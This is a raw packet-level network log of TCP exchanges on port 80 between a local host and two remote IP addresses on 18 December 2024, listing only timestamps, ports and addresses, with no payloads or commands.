Dec 18, 2024 15:56:32.068984985 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.070683956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.070810080 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.070848942 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.072592974 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.072724104 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.072767973 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.074461937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.074637890 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.074685097 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.076309919 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.076411963 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.076591969 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.078212976 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.078401089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.078455925 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.080166101 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.080305099 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.080470085 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.082151890 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.082926989 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.083233118 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.083842039 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.083930016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.084007025 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.086133003 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.086266994 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.086303949 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.087583065 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.087973118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.088088036 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.089514971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.089545965 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.089610100 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.091720104 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.091912985 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.091964960 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.093425035 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.093564987 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.093671083 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.095658064 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.095829010 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.095915079 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.097290039 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.097300053 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.097352028 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.099159956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.117847919 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.117997885 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.118010044 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.118520021 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.118634939 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.118670940 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.119503975 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.119559050 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.119648933 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.121319056 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.121421099 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.121426105 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.123218060 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.123311043 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.123327017 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.125088930 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.125168085 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.125176907 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.127005100 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.127043962 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.127058029 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.128823042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.128925085 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.129023075 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.130789042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.130825996 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.130896091 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.132565975 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.132620096 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.132626057 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.134433031 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.134545088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.134548903 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.136328936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.136435032 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.136445999 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.138192892 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.138273954 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.138318062 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.140090942 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.140158892 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.140183926 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.141949892 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.141995907 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.142004967 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.143843889 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.143887043 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.143958092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.145781994 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.145791054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.145847082 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.147594929 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.147660017 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.147725105 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.149481058 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.149580002 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.149583101 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.151359081 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.151437044 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.151487112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.153264999 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.153351068 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.153352022 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.155143976 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.155193090 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.155214071 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.157027006 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.157100916 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.157124043 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.159074068 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.159121990 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.159188986 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.160756111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.160797119 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.160823107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.162673950 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.162733078 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.162795067 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.164525032 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.164625883 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.164649010 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.166419029 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.166470051 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.166614056 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.168345928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.168426991 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.168548107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.170249939 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.170295000 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.170298100 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.172053099 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.172137022 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.172163010 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.173917055 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.173998117 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.174002886 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.175601959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.175662041 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.175693035 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.177357912 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.177397013 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.177465916 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.179259062 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.179306030 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.179364920 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.180174112 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.180253983 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.180289030 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.180305958 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.180341005 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.180357933 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.180428028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.180440903 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.180474997 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.180512905 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.180552959 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.180581093 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.180624962 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.180629969 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.180641890 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.180649996 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.180676937 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.181024075 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.181096077 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.181101084 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.182420015 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.182476997 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.182478905 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.184042931 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.184089899 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.184206963 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.185658932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.185694933 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.185709953 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.187290907 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.187347889 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.187397003 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.188805103 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.188868999 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.188869953 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.191927910 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.191982985 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.193058968 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.193129063 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.193135023 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.193176031 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.193542004 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.193548918 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.193588972 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.195005894 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.195079088 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.195130110 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.196321964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.196382046 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.196465969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.197779894 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.197844982 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.197927952 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.199141026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.199278116 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.199326992 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.200582027 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.200625896 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.200767040 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.201994896 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.202006102 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.202048063 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.203309059 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.203377962 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.203466892 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.205657005 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.205802917 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.205847025 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.206594944 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.206695080 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.206783056 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.207722902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.207772017 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.207855940 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.250240088 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.300132990 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.300199032 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.300199986 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.300270081 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.310466051 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.310575962 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.310625076 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.310868025 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.310939074 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.310991049 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.311455011 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.311844110 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.311892033 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.311955929 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.312534094 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.312621117 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.312669992 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.313239098 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.313311100 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.313417912 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.313988924 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.314043045 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.314064980 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.314722061 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.314790010 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.314799070 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.315476894 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.315531969 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.315608978 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.316163063 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.316229105 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.316251040 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.316973925 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.317048073 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.317085028 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.317641973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.317692995 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.317749977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.318406105 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.318492889 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.319003105 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.319144011 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.319219112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.319263935 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.319835901 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.319932938 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.319978952 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.320566893 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.320620060 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.320625067 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.321331978 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.321414948 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.321491003 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.322055101 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.322235107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.322331905 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.322792053 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.322848082 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.322875023 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.324014902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.324065924 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.324122906 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.324732065 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.324780941 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.324851036 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.325119972 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.325182915 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.325262070 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.325597048 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.325658083 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.325702906 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.326314926 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.326411009 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.326471090 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.327019930 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.327075005 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.327095032 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.327739000 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.327790022 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.327830076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.328509092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.328556061 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.328634977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.329168081 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.329222918 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.329271078 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.329895020 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.329979897 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.330024958 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.330604076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.330740929 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.330791950 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.331301928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.331427097 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.331480026 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.332034111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.332093000 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.332225084 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.332715034 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.332758904 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.332808971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.333395004 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.333468914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.333513021 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.334141016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.334182978 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.334247112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.334888935 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.334985018 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.335083008 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.335516930 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.335557938 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.335618019 CET	80	49801	185.185.71.170	192.168.2.10
